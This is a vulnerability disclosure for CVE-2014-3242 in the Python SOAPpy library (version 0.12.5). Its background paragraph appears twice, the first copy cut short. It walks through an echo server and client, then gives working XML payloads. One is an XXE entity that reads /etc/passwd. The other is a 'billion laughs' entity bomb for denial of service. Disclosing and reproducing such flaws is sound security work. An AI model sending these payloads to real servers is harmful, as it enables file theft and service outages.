0×01:Background SOAPpy provides tools for building SOAP clients and servers.The goal of the SOAPpy team is to provide a full featured SOAP library for Python that is very simple to use and that fully supports dynamic interaction between clients and servers. SOAPpy use sax.xml as SOAP parser to parse the xml request.Sax.xml also support of setting a handler for resolving entity.By tricking this feature,it'll lead to xxe attack or dtd dos attack. 0×02:Vulnerability details Affect version:0.12.5(currently the lastest version) Type:XXE Attack & Billion laughs attack 0×03:Reproduction I use a simplified echo soap server & client scenario to reproduce these vulnerabilities.The code below is echo soap server. 1 2 3 4 5 6 7 8 #!/usr/bin/env python # encoding:utf-8 from SOAPpy import SOAPServer def echo(s): return s # repeats a string twice server = SOAPServer(("0.0.0.0", 8080)) server.registerFunction(echo) server.serve_forever() And the client code: 1 2 3 4 5 6...
0×01:Background SOAPpy provides tools for building SOAP clients and servers.The goal of the SOAPpy team is to provide a full featured SOAP library for Python that is very simple to use and that fully supports dynamic interaction between clients and servers. SOAPpy use sax.xml as SOAP parser to parse the xml request.Sax.xml also support of setting a handler for resolving entity.By tricking this feature,it'll lead to xxe attack or dtd dos attack. 0×02:Vulnerability details Affect version:0.12.5(currently the lastest version) Type:XXE Attack & Billion laughs attack 0×03:Reproduction I use a simplified echo soap server & client scenario to reproduce these vulnerabilities.The code below is echo soap server. 1 2 3 4 5 6 7 8 #!/usr/bin/env python # encoding:utf-8 from SOAPpy import SOAPServer def echo(s): return s # repeats a string twice server = SOAPServer(("0.0.0.0", 8080)) server.registerFunction(echo) server.serve_forever() And the client code: 1 2 3 4 5 6 #!/usr/bin/env python # coding:utf-8 from SOAPpy import SOAPProxy server = SOAPProxy("http://localhost:8080/") print server.echo("Hello world") Very simple at all but it's enough to illustrative the problem. As SOAPpy doesn't support WSDL very well,i have to generate the soap request manually.I use wireshark to capture packets transported between server and client. capture_soap_req.PNG I copy the packet printable to get a clear soap request. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST / HTTP/1.0 Host: localhost:8080 User-agent: SOAPpy 0.12.0 (pywebsvcs.sf.net) Content-type: text/xml; charset="UTF-8" Content-length: 484 SOAPAction: "echo" <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" > <SOAP-ENV:Body> <echo SOAP-ENC:root="1"> <v1 xsi:type="xsd:string">Hello world</v1> </echo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> At this point,i can use the request proxy like Brup Suite to craft specified xml and replay the request. XXE attack poc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE v1 [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" > <SOAP-ENV:Body> <echo SOAP-ENC:root="1"> <v1 xsi:type="xsd:string">&xxe;</v1> </echo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> burp_demo_resp.PNG Billion laughs dos poc: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE v1 [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" > <SOAP-ENV:Body> <echo SOAP-ENC:root="1"> <v1 xsi:type="xsd:string">&lol9;</v1> </echo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Once send this soap request,the server resouce will exhaust very soon because of the recursion of parsing entities. CVE-2014-3242 SOAPpy 0.12.5 none
